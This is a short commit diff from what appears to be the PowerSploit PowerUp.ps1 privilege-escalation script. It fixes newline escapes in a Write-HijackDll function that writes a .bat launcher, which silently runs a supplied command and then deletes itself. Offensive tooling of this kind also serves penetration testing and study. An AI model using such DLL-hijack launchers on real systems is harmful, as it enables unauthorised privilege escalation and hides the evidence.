aboutsummaryrefslogtreecommitdiff
path: root/Privesc
diff options
context:
space:
mode:
Diffstat (limited to 'Privesc')
-rw-r--r--Privesc/PowerUp.ps14
1 files changed, 2 insertions, 2 deletions
diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1
index 0b62245..2466975 100644
--- a/Privesc/PowerUp.ps1
+++ b/Privesc/PowerUp.ps1
@@ -2669,8 +2669,8 @@ function Write-HijackDll {
# build the launcher .bat
if (Test-Path $TargetBatPath) { Remove-Item -Force $TargetBatPath }
- "@echo off\n" | Out-File -Encoding ASCII -Append $TargetBatPath
- "start /b $BatCommand\n" | Out-File -Encoding ASCII -Append $TargetBatPath
+ "@echo off" | Out-File -Encoding ASCII -Append $TargetBatPath
+ "start /b $BatCommand" | Out-File -Encoding ASCII -Append $TargetBatPath
'start /b "" cmd /c del "%~f0"&exit /b' | Out-File -Encoding ASCII -Append $TargetBatPath
Write-Verbose ".bat launcher written to: $TargetBatPath"